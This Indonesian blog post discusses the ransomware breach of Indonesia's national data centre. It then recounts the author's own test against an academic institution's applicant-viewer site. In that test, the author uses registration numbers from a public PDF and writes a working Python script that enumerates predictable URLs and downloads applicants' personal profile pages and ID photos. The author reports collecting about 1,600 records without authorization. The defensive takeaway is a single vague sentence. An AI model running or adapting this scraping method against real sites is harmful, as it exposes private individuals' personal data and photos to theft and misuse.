Tentang Peretasan dan Pencurian Data Pribadi

Data pribadi adalah kumpulan data yang memberikan informasi dari entitas. Setiap instansi, perusahaan, dan seseorang pasti memiliki data yang harus dijaga dengan baik. Perlindungan data pribadi menjadi hal yang harus dilakukan dari suatu individu.

Pencurian data pribadi menjadi trending yang hangat di negara ini, terjadinya peretasan pada PDN (Pusat Data Nasional) yang menggemparkan. Bagaimana sebuah Pusat Data yang mengelola seluruh data lembaga mengalami peretasan yang mengakibatkan data dari seluruh instansi yang dikelola bocor ke publik dan dijual pada sebuah forum.

Banner 1

Banner 2

Dari berita yang tersebar di portal media Indonesia, peretasan pada PDN terjadi karena entah dari mana ada yang menonaktifkan Windows Defender pada server yang menyebabkan sebuah kode malicious berjalan, lalu data tersebut terkena Ransomware yang mengakibatkan data menjadi terenkripsi.

Data yang telah terenkripsi menjadi bentuk file yang ekstensinya tidak dapat dibuka oleh komputer. Jika ingin membuka data tersebut harus memiliki key yang sudah dibuat oleh Ransomware tersebut.

Beberapa hacker ketika ingin melakukan peretasan data memiliki key untuk bisa membuka data yang telah terenkripsi. Beberapa hacker juga ingin menerima tebusan jika key tersebut akan diberikan.

Hal yang lucu bagi penulis adalah pemerintah tidak mem-backup data yang telah dienkripsi itu. Jadi data yang sudah diretas tidak bisa kembali ataupun diselamatkan karena tidak adanya file cadangan atau backup.

Sebenarnya bagaimana proses sebuah Pusat Data Nasional bisa diretas oleh hacker? Yang tahu hanyalah hacker itu sendiri. Namun, dari hal yang telah terjadi tentang peratasan data sebelumnya bisa mengambil asumsi bagaimana peretasan itu terjadi:

  1. Teknik Social Engineering
  2. Diberikan akses dari orang dalam
  3. Tersangka adalah orang yang bekerja pada PDN

Di sini penulis berasumsi server PDN adalah mesin Windows, karena dari berita yang tersebar menyangkut-pautkan tentang Windows Defender yang hanya ada pada sistem operasi Windows.

Asumsi yang lain menurut penulis, si hacker ini sebelumnya berhasil melakukan peretasan pada salah satu komputer yang terhubung dengan jaringan Wi-Fi PDN yang mengakibatkan ia bisa mengambil alih komputer seperti mematikan Windows Defender dan mendapatkan akses untuk melihat server PDN dengan hak akses penuh.

Research Penulis

Penulis ingin mencoba bagaimana pencurian data terjadi dengan mengikuti proses layaknya seorang hacker. Di sini penulis melakukan research pada salah satu website instansi akademik yang memiliki layanan SNBT Viewer yang menampilkan data pribadi calon pendaftar yang ingin mendaftar pada instansi tersebut.

Image 1

Pada halaman website tersebut menampilkan input nomor peserta, lalu bagaimana penulis mendapatkan data nomor peserta tersebut? Di sini penulis membaca berita dari website instansi akademik tersebut dan mendapatkan file PDF mengenai PMB yang menampilkan informasi Nomor Pendaftaran dan Nama dari calon peserta.

Image 2

Lalu penulis mencoba mencari informasi dari calon peserta dengan memilih salah satu Nomor Pendaftaran, dan hasil dari pencarian tersebut menampilkan informasi lengkap dari calon peserta.

Image 3

Setelah itu penulis melakukan analisa bagaimana proses pencarian itu terjadi pada menu Network pada browser dan penulis dapat mengambil kesimpulan adalah proses pencarian data dilakukan dengan method GET dengan kombinasi nomor pendaftaran pada proses tersebut.

Image 4

Image 5

Di sini penulis ingin melakukan automasi untuk pengambilan data karena dari file PDF yang sudah didapat sebelumnya memiliki banyak baris data yang terkait dari Nomor Pendaftaran dan Nama dari calon peserta dan jika dikerjakan manual akan terasa berat.

Jadi penulis membuat sebuah program yang akan digunakan untuk melakukan automasi pengambilan data agar mempermudah proses pengambilan data.

import concurrent.futures
from pypdf import PdfReader
import requests

# Open the PDF file
reader = PdfReader("file.pdf")

# Define the prefix to search for
prefix = "24541"

# Function to find and extract lines containing the prefix
def extract_lines_with_prefix(text, prefix):
    lines = text.split('\n')
    matching_lines = [line for line in lines if line.startswith(prefix)]
    return matching_lines

# Iterate through all pages to find matching lines
all_matching_lines = []
for page in reader.pages:
    text = page.extract_text()
    matching_lines = extract_lines_with_prefix(text, prefix)
    all_matching_lines.extend(matching_lines)

# Function to download and save files
def download_files(line):
    htmlURL = f'https://redacted.ac.id/{line}.html'
    imageURL = f'https://redacted.ac.id/{line}.jpg'

    responseHTML = requests.get(htmlURL)
    responseImage = requests.get(imageURL)

    with open(f'{line}.html', mode="wb") as file:
        file.write(responseHTML.content)
        print(f'{line} HTML downloaded!')

    with open(f'{line}.jpg', mode="wb") as file:
        file.write(responseImage.content)
        print(f'{line} JPG downloaded!')

# Use ThreadPoolExecutor to download files concurrently
with concurrent.futures.ThreadPoolExecutor() as executor:
    executor.map(download_files, all_matching_lines)

Kode Python di atas akan membuka file PDF yang sudah didapat sebelumnya dan mengekstrak teks berdasarkan prefix yang diinginkan dan melakukan request ke halaman website tersebut secara asynchronous.

Hasil ketika program di atas dijalankan akan mendownload halaman dari website tersebut yang menampilkan informasi data pribadi dari calon peserta dalam bentuk halaman HTML dan pas foto calon peserta dalam bentuk gambar JPG.

Image 6

Penulis berhasil mendapatkan kurang lebih 1.600 data pribadi yang mencakup informasi yang sangat penting dari calon peserta yang telah melakukan pendaftaran pada salah satu website akademik dari instansi tersebut.

Kesimpulan

Kejahatan siber memang tidak bisa dikontrol, namun bisa dihindari dengan menerapkan SOP atau Standard of Procedure yang telah dibuat pada masing-masing instansi atau lembaga.